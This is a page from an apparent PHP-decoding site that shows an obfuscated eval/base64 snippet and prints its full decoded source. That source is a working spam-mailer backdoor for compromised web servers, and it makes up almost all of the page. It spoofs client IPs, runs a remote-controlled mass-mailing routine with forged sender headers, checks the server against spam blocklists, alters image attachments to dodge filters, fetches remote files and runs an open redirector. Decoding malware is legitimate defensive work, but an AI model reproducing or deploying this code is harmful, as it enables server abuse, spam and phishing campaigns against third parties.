Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval( base64_decode( "CkBlcnJvcl9yZXBvcnRpbmcoIDAgKTsKQHNldF90aW1lX2xpbWl0KCAxNTAgKTsKQGln..

Decoded Output download


@error_reporting( 0 );
@set_time_limit( 150 );
@ignore_user_abort( true );
@ini_set( 'max_execution_time', 150 );
@ini_set( 'mail.add_x_header', 0 );
@ini_set( 'expose_php', 0 );

if( isset( $_GET[ 'check' ] ) ) {
    exit( '#OK#' );
}

@$_SERVER[ 'PHP_SELF' ] = '/';

if( isset( $_SERVER[ 'SERVER_ADDR' ] ) && ! empty( $_SERVER[ 'SERVER_ADDR' ] ) ) {
    $ip = $_SERVER[ 'SERVER_ADDR' ];
}
else {
    $ip = rand( 1, 255 ) . '.' . rand( 0, 255 ) . '.' . rand( 0, 255 ) . '.' . rand( 0, 255 );
}

if( isset( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) && ! empty( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {
    @$_SERVER[ 'HTTP_X_FORWARDED_FOR' ] = $ip;
}

if( isset( $_SERVER[ 'REMOTE_ADDR' ] ) ) {

    while( $key = key( $_SERVER ) ) {
        if( $_SERVER[ $key ] == $_SERVER[ 'REMOTE_ADDR' ] ) {
            @$_SERVER[ $key ] = $ip;
            break;
        }
        next( $_SERVER );
    }

    @$_SERVER[ 'REMOTE_ADDR' ] = $ip;
}

if( isset( $_REQUEST[ 'r' ] ) ) {
    $n_st = '';
    $n_st1 = '';
    $n_st2 = '?';
    $d_st = base64_decode( $_REQUEST[ 'r' ] );
    $d_st1 = explode( '&', trim( $d_st ) );
    for( $i = 0; $i < sizeof( $d_st1 ); $i++ ) {
        $d_st2 = explode( '=', trim( $d_st1[ $i ] ) );
        if( $d_st2[ 0 ] == 'l' ) {
            $n_st = $d_st2[ 1 ];
        }
        else {
            $n_st1 .= $n_st2 . $d_st2[ 0 ] . '=' . $d_st2[ 1 ];
            $n_st2 = '&';
        }
    }
    $n_st .= $n_st1;
    ?>
    <meta http-equiv="refresh" content="0;url=<?php
    echo $n_st;
    ?>"><?php
    exit();
}

if( isset( $_REQUEST[ 'u' ] ) ) {
    $n_st = '';
    $n_st1 = '';
    $n_st2 = '?';
    $d_st = base64_decode( $_REQUEST[ 'u' ] );
    file_put_contents( 'logsubsc.log', date( '[Y-m-d H:i:s] ' ) . $d_st . "
", FILE_APPEND | LOCK_EX );
    ?>
    <br><br><br>
    <center>You have unsubscribed from the newsletter!!!</center><br>
    <center>Email: <b><?php
            echo $d_st;
            ?></b></center>
    <?php
}

if( isset( $_REQUEST[ 'lu' ] ) ) {
    $fc = file_get_contents( 'logsubsc.log' );
    $fc = preg_replace( "/
/", "<br/>
", $fc );
    echo $fc;
}

if( isset( $_REQUEST[ 'du' ] ) ) {
    unlink( 'logsubsc.log' );
}

if( isset( $_REQUEST[ 'ce' ] ) === true ) {
    parse_str( base64_decode( $_REQUEST[ 'ce' ] ), $_REQUEST );
}

$encoding = "UTF-8";
if( isset( $_REQUEST[ 'e' ] ) ) {
    $encoding = $_REQUEST[ 'e' ];
}

if( isset( $_REQUEST[ 'ch' ] ) === true ) {
    Check();
    exit;
}

if( isset( $_REQUEST[ 'sn' ] ) === true ) {
    Send();
    exit;
}

function Send()
{

    $domain = $_SERVER[ "HTTP_HOST" ];
    $domain = str_replace( 'www.', '', $domain );
    $domain_ = explode( '.', $domain );

    $_REQUEST[ 'm' ] = str_replace( '[shelldomain:]', ucfirst( $domain_[ 0 ] ), $_REQUEST[ 'm' ] );
    //echo $_REQUEST['m'];

    $emails = urldecode( $_REQUEST[ 'em' ] );

    $explemails = explode( "
", $emails );
    global $randm_array;
    global $attachement_array;
    global $unsubscribe;
    $unsubscribe = 0;

    for( $c = 0, $max = sizeof( $explemails ); $c < $max; $c++ ) {
        $data = explode( '|', trim( $explemails[ $c ] ) );
        $r_replyto = macrosRandom( $_REQUEST[ 'rpt' ], $data );
        $r_from_ = macrosRandom( dataHandler( $_REQUEST[ 'f' ] ), $data );
        $r_from = explode( ':', $r_from_ );

        if( is_file( $_FILES[ 'file' ][ 'tmp_name' ] ) ) {
            $r_subject = dataHandler( urldecode( $_REQUEST[ 's' ] ) );
            $r_message = urldecode( $_REQUEST[ 'm' ] );
        }
        else {
            $r_subject = dataHandler( $_REQUEST[ 's' ] );
            $r_message = $_REQUEST[ 'm' ];
        }

        $r_subject = str_replace( '[from:]', $r_from[ 0 ], $r_subject );
        $r_subject = str_replace( '[email:]', $data[ 0 ], $r_subject );
        $r_subject = macrosRandom( $r_subject, $data );
        $r_message = str_replace( '[from:]', $r_from[ 0 ], $r_message );
        $r_message = str_replace( '[email:]', $data[ 0 ], $r_message );
        $r_message = macrosRandom( $r_message, $data );
        if( ! SMail( $data[ 0 ], $r_from[ 1 ], $r_message, $r_subject, $r_replyto, $r_from[ 0 ] ) ) {
            print '*send:bad*';
            exit;
        }
    }

    print '*send:ok*';
    exit;
}

function SMail( $to, $from, $message, $subject, $replyto, $from_name )
{
    global $unsubscribe;
    global $attachement_array;
    global $encoding;

    if( is_file( $_FILES[ 'file' ][ 'tmp_name' ] ) ) {
        $fileString = fileString( $_FILES[ 'file' ][ 'name' ] );
        $filename = $_REQUEST[ 'fn' ];
    }

    $from_name = trim( $from_name );
    if( strlen( trim( $from_name ) ) < 1 ) {
        $from_name = randText();
    }

    if( strlen( trim( $from ) ) < 1 ) {
        $from = str_replace( ' ', '', trim( $from_name ) ) . '@' . $_SERVER[ 'HTTP_HOST' ];
    }

    if( strlen( trim( $replyto ) ) < 1 ) {
        $replyto = $from;
    }

    if( $_REQUEST[ 'tp' ] == '1' ) {
        $type = 'text/html';
    }
    else {
        $type = 'text/plain';
    }

    $headers = GetHeaders( $from_name, $from, $replyto );

    $boundary = md5( uniqid() );
    $headers .= "Content-Type: multipart/alternative; boundary=\"" . $boundary . "\"
";

    if( $unsubscribe == 1 ) {
        $headers .= 'List-Unsubscribe: <mailto:' . $from . ">" . "
";
    }

    //plain version
    $body = "--" . $boundary . "
";
    $body .= "Content-Type: text/plain; charset=UTF-8
";
    $body .= 'Content-Transfer-Encoding: base64' . "

";
    $message_plain = cut_tags( $message );
    $body .= trim( chunk_split( base64_encode( $message_plain ) ) );

    //html version
    if( $_REQUEST[ 'tp' ] == '1' ) {
        $body .= "

--" . $boundary . "
";
        $body .= "Content-Type: text/html; charset=UTF-8
";
        $body .= 'Content-Transfer-Encoding: base64' . "

";
        $body .= trim( chunk_split( base64_encode( $message ) ) );
    }

    //files attachement
    if( is_file( $_FILES[ 'file' ][ 'tmp_name' ] ) ) {
        $body .= "

--" . $boundary . "
";
        $body .= 'Content-Type: ' . $_FILES[ 'file' ][ 'type' ] . '; name="' . $filename . '"' . "
";
        $body .= 'Content-Disposition: attachment; filename="' . $filename . '"' . "
";
        $body .= 'Content-Transfer-Encoding: base64' . "
";
        $body .= 'X-Attachment-Id: ' . rand( 1000, 99999 ) . "

";
        $body .= trim( chunk_split( base64_encode( $fileString ) ) );
    }

    if( $attachement_array ) {

        $files = array();
        for( $i = 0; $i < count( $attachement_array ); $i++ ) {
            $attachement_array[ $i ][ 1 ] = trim( $attachement_array[ $i ][ 1 ] );
            file_put_contents( $attachement_array[ $i ][ 1 ], DownloadSource( $attachement_array[ $i ][ 0 ] ) );
        }

        for( $i = 0; $i < count( $attachement_array ); $i++ ) {
            if( isset( $attachement_array[ $i ][ 1 ] ) ) {
                $fp = fopen( $attachement_array[ $i ][ 1 ], "r" );
                if( $fp ) {
                    $files[ $i ] = fread( $fp, filesize( $attachement_array[ $i ][ 1 ] ) );
                }
                fclose( $fp );

                if( isset( $files[ $i ] ) ) {
                    $body .= "

--" . $boundary . "
";

                    $body .= 'Content-Type: ' . mime_content_type(
                            $attachement_array[ $i ][ 1 ]
                        ) . '; name="' . $attachement_array[ $i ][ 1 ] . '"' . "
";
                    $body .= 'Content-Disposition: attachment; filename="' . $attachement_array[ $i ][ 1 ] . '"' . "
";
                    $body .= 'Content-Transfer-Encoding: base64' . "
";
                    $body .= 'X-Attachment-Id: ' . rand( 1000, 99999 ) . "

";
                    $body .= trim( chunk_split( base64_encode( file_get_contents( $attachement_array[ $i ][ 1 ] ) ) ) );
                    unlink( $attachement_array[ $i ][ 1 ] );
                }
            }
        }

    }

    $body .= "

--" . $boundary . "--";

    if( $encoding == 'UTF-8' ) {
        $subject = "=?UTF-8?B?" . base64_encode( $subject ) . "?=";
    }
    else {
        $subject = "=?$encoding?B?" . base64_encode( iconv( 'UTF-8', $encoding, $subject ) ) . "?=";
    }

    if( mail( $to, $subject, $body, $headers ) ) {
        return true;
    }
    return false;
}

// Get random or one array element
function dataHandler( $data )
{
    $ex = explode( "
", $data );
    if( sizeof( $ex ) > 1 ) {
        return trim( $ex[ rand( 0, sizeof( $ex ) - 1 ) ] );
    }
    return trim( $data );
}

function macrosRandom( $text, $data )
{
    global $randm_array;
    global $attachement_array;
    global $unsubscribe;

    preg_match_all( '#\[num:(.+?)\]#is', $text, $result2 );
    $i = 0;
    preg_match_all( '#\[randM:(.+?)\]#is', $text, $result3 );
    $q = 0;
    preg_match_all( '#\[randstr:(.+?)\]#is', $text, $result4 );
    $w = 0;
    preg_match_all( '#\[var:(.+?)\]#is', $text, $result5 );
    $e = 0;
    preg_match_all( '#\{rand:(.+?)\}#is', $text, $result6 );
    $f = 0;
    preg_match_all( '#\[redirect:(.+?)\]#is', $text, $result7 );
    $h = 0;
    preg_match_all( '#\{randM:(.+?)\}#is', $text, $result8 );
    $u = 0;


    //redirect
    while( $h < sizeof( $result7[ 1 ] ) ) {
        $link_site = '';
        $link_par1 = explode( '>>>', $result7[ 1 ][ $h ] );
        $current_url_ = '';
        //print_r($link_par1);
        preg_match_all( '#\{rand:(.+?)\}#is', $link_par1[ 0 ], $link_par2 );
        if( sizeof( $link_par2[ 1 ] ) > 0 ) {
            $link_par3 = explode( '|', $link_par2[ 1 ][ 0 ] );
            $link_site = $link_par3[ array_rand( $link_par3 ) ];
        }
        else {
            $link_site = $link_par1[ 0 ];
        }

        $link_site = "l=" . $link_site;

        for( $i_link = 1; $i_link < sizeof( $link_par1 ); $i_link++ ) {
            $link_par1[ $i_link ] = str_replace( "{", "", $link_par1[ $i_link ] );
            $link_par1[ $i_link ] = str_replace( "}", "", $link_par1[ $i_link ] );
            if( strpos( $link_par1[ $i_link ], 'email:' ) !== false ) {
                $link_site .= "&e=" . trim( $data[ 0 ] );
            }
            else {
                if( strpos( $link_par1[ $i_link ], 'var:' ) !== false ) {
                    $link_par4 = explode( ':', $link_par1[ $i_link ] );
                    $link_site .= "&v" . $link_par4[ 1 ] . "=" . trim( $data[ $link_par4[ 1 ] ] );
                }
                else {
                    if( strpos( $link_par1[ $i_link ], 'link:' ) !== false ) {
                        $link_par4 = explode( ':', $link_par1[ $i_link ], 2 );
                        $current_url_ = $link_par4[ 1 ];
                    }
                    else {
                        $link_site .= "&" . $link_par1[ $i_link ];
                    }
                }
            }

            //print "-".$link_par1[$i_link];
        }
        //print $link_site;
        if( strlen( $current_url_ ) > 0 ) {
            $current_url = $current_url_;
        }
        else {
            $current_url = "http://" . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
        }

        $current_url .= "?r=" . base64_encode( $link_site );
        $text = str_replace_once( $result7[ 0 ][ $h ], $current_url, $text );
        $h++;
    }


    //unsubscribe
    $k = strpos( $text, '[unsubscribe:]' );
    if( $k != FALSE ) {
        $current_url = "http://" . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
        $current_url .= "?u=" . base64_encode( $data[ 0 ] );
        $unsubscribe = 1;
        $text = str_replace( '[unsubscribe:]', $current_url, $text );
    }

    //{rand
    while( $f < sizeof( $result6[ 1 ] ) ) {
        $rand = explode( '|', $result6[ 1 ][ $f ] );
        $rand = $rand[ array_rand( $rand ) ];
        $text = str_replace_once( $result6[ 0 ][ $f ], $rand, $text );
        $f++;
    }

    while( $i < sizeof( $result2[ 1 ] ) ) {
        $rand = explode( '|', $result2[ 1 ][ $i ] );
        if( ! is_numeric( $rand[ 0 ] ) or ! is_numeric( $rand[ 1 ] ) ) {
            continue;
        }
        $rand = rand( $rand[ 0 ], $rand[ 1 ] );

        $text = str_replace_once( $result2[ 0 ][ $i ], $rand, $text );
        $i++;
    }

    //{randM
    while( $u < sizeof( $result8[ 1 ] ) ) {
        $rand = explode( '|', $result8[ 1 ][ $u ] );
        //$rand=$rand[array_rand($rand)];

        $flag_r = false;
        for( $i_link = 0; $i_link < sizeof( $result8[ 1 ] ); $i_link++ ) {
            if( $result8[ 0 ][ $u ] == $randm_array[ $i_link ][ 0 ] ) {
                $rand = $randm_array[ $i_link ][ 1 ];
                $flag_r = true;
                break;
            }
        }
        if( $flag_r == false ) {
            $rand = $rand[ array_rand( $rand ) ];
            $randm_array[] = array(
                $result3[ 0 ][ $u ],
                $rand
            );
        }
        $text = str_replace( $result8[ 0 ][ $u ], $rand, $text );
        $u++;
    }


    //[randM
    while( $q < sizeof( $result3[ 1 ] ) ) {
        $rand = explode( '|', $result3[ 1 ][ $q ] );
        //$rand=$rand[array_rand($rand)];

        $flag_r = false;
        for( $i_link = 0; $i_link < sizeof( $result3[ 1 ] ); $i_link++ ) {
            if( $result3[ 0 ][ $q ] == $randm_array[ $i_link ][ 0 ] ) {
                $rand = $randm_array[ $i_link ][ 1 ];
                $flag_r = true;
                break;
            }
        }
        if( $flag_r == false ) {
            $rand = $rand[ array_rand( $rand ) ];
            $randm_array[] = array(
                $result3[ 0 ][ $q ],
                $rand
            );
        }

        $text = str_replace( $result3[ 0 ][ $q ], $rand, $text );
        $q++;
    }

    // [var:
    while( $w < sizeof( $result4[ 1 ] ) ) {
        $rand = explode( '|', $result4[ 1 ][ $w ] );
        if( ! is_numeric( $rand[ 0 ] ) or ! is_numeric( $rand[ 1 ] ) ) {
            continue;
        }
        $rand = randString( $rand[ 0 ], $rand[ 1 ] );

        $text = str_replace_once( $result4[ 0 ][ $w ], $rand, $text );
        $w++;
    }

    while( $e < sizeof( $result5[ 1 ] ) ) {
        if( ! is_numeric( $result5[ 1 ][ $e ] ) ) {
            continue;
        }
        //echo $result5[0][$e]." - ".$data[$result5[1][$e]]."<br>";
        $text = str_replace( $result5[ 0 ][ $e ], $data[ $result5[ 1 ][ $e ] ], $text );
        $e++;
    }

    preg_match_all( '#\[rand:(.+?)\]#is', $text, $result );
    $c = 0;

    while( $c < sizeof( $result[ 1 ] ) ) {
        $rand = explode( '|', $result[ 1 ][ $c ] );
        $rand = $rand[ array_rand( $rand ) ];

        $text = str_replace_once( $result[ 0 ][ $c ], $rand, $text );
        $c++;
    }

    $p = strpos( $text, 'spoof:' );
    if( $p != FALSE ) {
        $text = str_replace( '[spoof:', ':', $text );
        $text = str_replace( ']', '', $text );
    }

    //base64
    $text = str_replace( '{var:}', '{var:1}', $text );
    $text = str_replace( '{email:}', trim( $data[ 0 ] ), $text );
    preg_match_all( '#\[base64:(.+?)\]#is', $text, $result12 );
    $h2 = 0;
    while( $h2 < sizeof( $result12[ 1 ] ) ) {
        $result12_text = $result12[ 1 ][ $h2 ];
        //{var1}
        preg_match_all( '#\{var:(.+?)\}#is', $result12_text, $result12_var );
        $h2_var = 0;
        while( $h2_var < sizeof( $result12_var[ 1 ] ) ) {
            if( is_numeric( $result12_var[ 1 ][ $h2_var ] ) ) {
                $result12_text = str_replace_once(
                    $result12_var[ 0 ][ $h2_var ], $data[ $result12_var[ 1 ][ $h2_var ] ], $result12_text
                );
            }
            $h2_var++;
        }

        $text = str_replace_once( $result12[ 0 ][ $h2 ], base64_encode( $result12_text ), $text );

        $h2++;
    }


    //attachement
    preg_match_all( '#\[attachment:(.+?)\]#is', $text, $result9 );
    $d = 0;
    while( $d < sizeof( $result9[ 1 ] ) ) {
        $attachement_array0 = explode( '>>>', $result9[ 1 ][ $d ] );
        $attachement_array[] = $attachement_array0;
        $text = str_replace_once( $result9[ 0 ][ $d ], "", $text );
        $d++;
    }


    //attachement2
    preg_match_all( '#\[attachmentM:(.+?)\]#is', $text, $result10 );
    $s = 0;

    while( $s < sizeof( $result10[ 1 ] ) ) {
        $attachement_array0 = explode( '>>>', $result10[ 1 ][ $s ] );
        preg_match_all( '#\((.+?)\)#is', $attachement_array0[ 0 ], $result11 );
        $s1 = 0;
        while( $s1 < sizeof( $result11[ 1 ] ) ) {
            $attachement_array1 = explode( ',', $result11[ 1 ][ $s1 ] );
            $attachement_array1_ = rand( intval( $attachement_array1[ 0 ] ), intval( $attachement_array1[ 1 ] ) - 1 );
            $attachement_array0[ 0 ] = str_replace_once(
                $result11[ 1 ][ $s1 ], $attachement_array1_, $attachement_array0[ 0 ]
            );
            $attachement_array0[ 0 ] = str_replace( '(', '', $attachement_array0[ 0 ] );
            $attachement_array0[ 0 ] = str_replace( ')', '', $attachement_array0[ 0 ] );
            $s1++;
        }

        $attachement_array[] = $attachement_array0;

        $text = str_replace_once( $result10[ 0 ][ $s ], "", $text );
        $s++;
    }

    //image64
    //https://stackoverflow.com/questions/3279523/base64-images-to-gmail/12786336#12786336
    preg_match_all( '#\[image64:(.+?)\]#is', $text, $result13 );
    $d2 = 0;
    $image64_file = 'image64_file.png';
    $image64_file_ = '';
    while( $d2 < sizeof( $result13[ 1 ] ) ) {
        file_put_contents( $image64_file, file_get_contents( $result13[ 1 ][ $d2 ] ) );
        $fp = fopen( $image64_file, "r" );
        if( $fp ) {
            $image64_file_ = fread( $fp, filesize( $image64_file ) );
        }
        fclose( $fp );
        //echo "file: ".$image64_file_;
        $result13_text = 'data:' . mime_content_type( $image64_file ) . ';base64,' . chunk_split(
                base64_encode( $image64_file_ )
            ) . '';
        $text = str_replace_once( $result13[ 0 ][ $d2 ], $result13_text, $text );
        unlink( $image64_file );
        $d2++;
    }

    return $text;
}

function GetHeaders( $fromname, $frommail, $replyto = null )
{
    global $encoding;

    if( is_null( $replyto ) ) {
        $replyto = $frommail;
    }
    if( $encoding == 'UTF-8' ) {
        $headers = "From: =?UTF-8?B?" . base64_encode( $fromname ) . "?= <" . $frommail . ">" . "
";
    }
    else {
        $headers = "From: =?$encoding?B?" . base64_encode(
                iconv( 'UTF-8', $encoding, $fromname )
            ) . "?= <" . $frommail . ">" . "
";
    }
    $headers .= "Reply-To: " . $replyto . "
";
    $headers .= "X-Mailer: " . strtoupper( randText() ) . "
";
    $headers .= "MIME-Version: 1.0" . "
";

    return $headers;
}

// Check for function_exists('mail')
function Check()
{
    $crlf = "
";

    if( isset( $_REQUEST[ 'st' ] ) === true ) {
        print '*valid:ok*' . $crlf;
    }
    if( isset( $_REQUEST[ 'm' ] ) === true ) {
        if( function_exists( 'mail' ) ) {
            $ex = explode( ':', $_REQUEST[ 'm' ] );
            $email = $ex[ 0 ];

            if( CheckMail( $email ) ) {
                print '*mail:ok*' . $crlf;
            }
            else {
                print '*mail:bad*' . $crlf;
            }
        }
        else {
            print '*mail:bad*' . $crlf;
        }
    }
    if( isset( $_REQUEST[ 'rb' ] ) === true ) {
        $rbl = CheckRBL();
        if( $rbl == '' ) {
            print '*rbl:ok*';
        }
        else {
            print '*rbl:' . $rbl . '*';
        }
    }
}

function randString( $min, $max )
{
    $str = 'qwertyuiopasdfghjklzxcvbnm';
    $size = rand( $min, $max );
    $result = '';

    for( $c = 0; $c < $size; $c++ ) {
        $result .= $str[ rand( 0, strlen( $str ) - 1 ) ];
    }
    return $result;
}

function CheckRBL()
{
    $dnsbl_check = array(
        'b.barracudacentral.org',
        'xbl.spamhaus.org',
        'sbl.spamhaus.org',
        'zen.spamhaus.org',
        'bl.spamcop.net'
    );
    $ip = gethostbyname( $_SERVER[ 'HTTP_HOST' ] );
    $result = '';

    if( $ip ) {
        $rip = implode( '.', array_reverse( explode( '.', $ip ) ) );
        foreach( $dnsbl_check as $val ) {
            if( checkdnsrr( $rip . '.' . $val . '.', 'A' ) ) {
                $result .= $val . ', ';
            }
        }
        if( strlen( $result ) > 2 ) {
            return substr( $result, 0, -2 );
        }
        else {
            return '';
        }
    }
    else {
        return '*rbl:unknown*';
    }
    return '';
}

// Check mail with random text
function CheckMail( $to )
{
    $headers = GetHeaders( randText(), randText() . '@' . $_SERVER[ 'HTTP_HOST' ] );
    //$header = 'From: ' . '=?utf-8?B?' . base64_encode(randText()) . '?=' . ' <' . $from_name . '@' . $_SERVER['HTTP_HOST'] . ">
";
    $headers .= 'Content-Type: text/html; charset=UTF-8' . "
";
    $headers .= 'Content-Transfer-Encoding: base64' . "
";

    $message = chunk_split( base64_encode( tbfyFUckgnvjhvgjkM() ) );
    $subject = $_SERVER[ 'HTTP_HOST' ];

    if( mail( $to, $subject, $message, $headers ) ) {
        return true;
    }
    return false;
}

function cut_tags( $message )
{
    $message1 = trim( strip_tags( $message, '<a>' ) );
    $find_a = True;
    $message1_ = array();
    $find_a_i = array();
    $find_a_i[ 0 ] = 0;
    while( $find_a == True ) {
        $find_a_i[ 0 ] = strpos( $message1, '<a', $find_a_i[ 0 ] );
        if( $find_a_i[ 0 ] != False ) {
            $find_a_i[ 1 ] = strpos( $message1, 'href', $find_a_i[ 0 ] + 1 );
            $find_a_i[ 1 ] = strpos( $message1, '"', $find_a_i[ 1 ] + 1 );
            $find_a_i[ 2 ] = strpos( $message1, '"', $find_a_i[ 1 ] + 1 );
            $find_a_i[ 3 ] = strpos( $message1, '</', $find_a_i[ 2 ] + 1 );
            $find_a_i[ 3 ] = strpos( $message1, '>', $find_a_i[ 3 ] + 1 );
            $find_a_i[ 4 ] = strlen( $message1 ) - 1;
            $message1_[ 0 ] = substr( $message1, 0, $find_a_i[ 0 ] );
            $message1_[ 1 ] = substr( $message1, $find_a_i[ 1 ] + 1, $find_a_i[ 2 ] - $find_a_i[ 1 ] - 1 );
            $message1_[ 2 ] = substr( $message1, $find_a_i[ 3 ] + 1, $find_a_i[ 4 ] - $find_a_i[ 3 ] + 1 );
            $message1 = $message1_[ 0 ] . $message1_[ 1 ] . $message1_[ 2 ];
        }
        else {
            $find_a = False;
        }
    }
    return $message1;
}

function str_replace_once( $search, $replace, $text )
{
    $pos = strpos( $text, $search );
    return $pos !== false ? substr_replace( $text, $replace, $pos, strlen( $search ) ) : $text;
}

function GetFilename( $name )
{
    $format = end( explode( '.', $name ) );
    $array[] = 'SDC';
    $array[] = 'P';
    $array[] = 'DC';
    $array[] = 'CAM';
    $array[] = 'IMG-';
    $img = array(
        'png',
        'jpg',
        'gif',
        'jpeg',
        'bmp'
    );

    for( $c = 0, $max = sizeof( $img ); $c < $max; $c++ ) {
        if( strtolower( $format ) == $img[ $c ] ) {
            $rand = rand( 10, 999999 );
            return $array[ rand( 0, 4 ) ] . $rand . '.' . $format;
        }
    }
    return randText() . '.' . $format;
}

function DownloadSource( $url )
{

    $resp = '';

    if( is_callable( 'curl_init' ) ) {

        $ch = curl_init( $url );

        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
        curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt( $ch, CURLOPT_HEADER, 0 );
        curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
        curl_setopt( $ch, CURLOPT_TIMEOUT, 10 );

        $resp = curl_exec( $ch );
        $header = curl_getinfo( $ch );

        curl_close( $ch );

        if( $header[ 'http_code' ] != 200 ) {
            return false;
        }
    }
    else {
        $url_parsed = parse_url( $url );
        $ssl = ( $url_parsed[ 'scheme' ] == 'https' );

        $context = stream_context_create( [
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ] );

        $resultHost = ( $ssl ? 'ssl://' : '' ) . $url_parsed[ 'host' ];

        if( $url_parsed[ 'port' ] ) {
            $resultHost .= ":" . $url_parsed[ 'port' ];
        }
        else {
            $resultHost .= ( $ssl ) ? ":" . 443 : ":" . 80;
        }

        $socket = stream_socket_client( $resultHost, $errno, $errMsg, 15, STREAM_CLIENT_CONNECT, $context );

        if( $socket ) {

            fputs( $socket, "GET " . $url_parsed[ 'path' ] . " HTTP/1.0
" );
            fputs( $socket, "Host: " . $url_parsed[ 'host' ] . "
" );
            fputs( $socket, "Connection: close

" );

            $r = 0;
            while( ! feof( $socket ) ) {
                $b = fgets( $socket, 1024 );
                if( $r ) {
                    $resp .= $b;
                }
                if( $b == "
" ) {
                    $r = 1;
                }
            }

            fclose( $socket );
        }
    }

    if( empty( $resp ) ) {
        return false;
    }
    return $resp;
}

function fileString( $name )
{
    $format = end( explode( '.', $name ) );

    if( strtolower( $format ) == 'jpeg' or strtolower( $format ) == 'jpg' ) {
        if( CheckBfuiklmekg6() ) {
            return Bfuiklmekg6( $_FILES[ 'file' ][ 'tmp_name' ] );
        }
    }
    return file_get_contents( $_FILES[ 'file' ][ 'tmp_name' ] );
}

function randText()
{
    $str = 'qwertyuiopasdfghjklzxcvbnm';
    $size = rand( 3, 8 );
    $result = '';

    for( $c = 0; $c < $size; $c++ ) {
        $result .= $str[ rand( 0, strlen( $str ) - 1 ) ];
    }
    return $result;
}

// Random text version for message
function tbfyFUckgnvjhvgjkM()
{
    $str = 'qwertyuiopasdfghjklzxcvbnm';
    $size = rand( 9, 20 );
    $result = '';

    for( $c = 0; $c < $size; $c++ ) {
        $rand = rand( 6, 10 );

        for( $i = 0; $i < $rand; $i++ ) {
            $result .= $str[ rand( 0, strlen( $str ) - 1 ) ];
        }
        $sign = array(
            ' ',
            ' ',
            ' ',
            ' ',
            ', ',
            '? ',
            '. ',
            '. '
        );
        $result .= $sign[ rand( 0, 7 ) ];
    }
    return trim( $result );
}

function CheckBfuiklmekg6()
{
    $array = array(
        'getimagesize',
        'imagecreatetruecolor',
        'imagecreatefromjpeg',
        'imagecopyresampled',
        'imagefilter',
        'ob_start',
        'imagejpeg',
        'ob_get_clean'
    );

    for( $c = 0, $max = sizeof( $array ); $c < $max; $c++ ) {
        if( ! function_exists( $array[ $c ] ) ) {
            return false;
        }
    }
    return true;
}

function Bfuiklmekg6( $file )
{
    $rand[ 'width' ] = rand( 1, 2 );
    $rand[ 'height' ] = rand( 1, 2 );
    $rand[ 'quality' ] = rand( 1, 2 );
    $rand[ 'brightness' ] = rand( 1, 2 );
    $rand[ 'contrast' ] = rand( 1, 2 );

    list( $width, $height ) = getimagesize( $file );

    if( $rand[ 'width' ] == 1 ) {
        $sign = rand( 1, 2 );
        if( $sign == 1 ) {
            $new_width = $width + rand( 1, 10 );
        }
        else {
            $new_width = $width - rand( 1, 10 );
        }
    }
    else {
        $new_width = $width;
    }
    if( $rand[ 'height' ] == 1 ) {
        $sign = rand( 1, 2 );
        if( $sign == 1 ) {
            $new_height = $height + rand( 1, 10 );
        }
        else {
            $new_height = $height - rand( 1, 10 );
        }
    }
    else {
        $new_height = $height;
    }
    if( $rand[ 'quality' ] == 1 ) {
        $quality = 75;
    }
    else {
        $quality = rand( 65, 105 );
    }
    if( $rand[ 'brightness' ] == 1 ) {
        $brightness = rand( 0, 35 );
    }
    else {
        $brightness = 0;
    }
    if( $rand[ 'contrast' ] == 1 ) {
        $sign = rand( 1, 2 );
        if( $sign == 1 ) {
            $sign = '+';
        }
        else {
            $sign = '-';
        }
        $contrast = rand( 1, 15 );
    }
    else {
        $sign = '';
        $contrast = 0;
    }

    $image_p = imagecreatetruecolor( $new_width, $new_height );
    $image = imagecreatefromjpeg( $file );
    imagecopyresampled( $image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height );
    imagefilter( $image_p, IMG_FILTER_CONTRAST, $sign . $contrast );
    imagefilter( $image_p, IMG_FILTER_BRIGHTNESS, $brightness );
    ob_start();
    imagejpeg( $image_p, null, $quality );
    $out = ob_get_clean();
    imagedestroy( $image_p );

    return $out;
}

/*function RandGmail($email)
{
    $login  = explode('@', $email);
    $result = '';
    $login  = strtolower(str_replace('.', '', $login[0]));

    $size = strlen($login);

    for ($c = 0, $max = $size; $c < $max; $c++) {
        $up  = rand(0, 1);
        $dot = rand(0, 1);

        $symbol = $login[$c];

        if ($up == 1) {
            $symbol = strtoupper($symbol);
        }
        if ($dot == 1) {
            $symbol = $symbol . '.';
        }
        $result .= $symbol;
    }

    if (substr($result, -1) == '.') {
        $result = substr($result, 0, -1);
    }

    return $result . '@gmail.com';
}*/

Did this file decode correctly?

Original Code

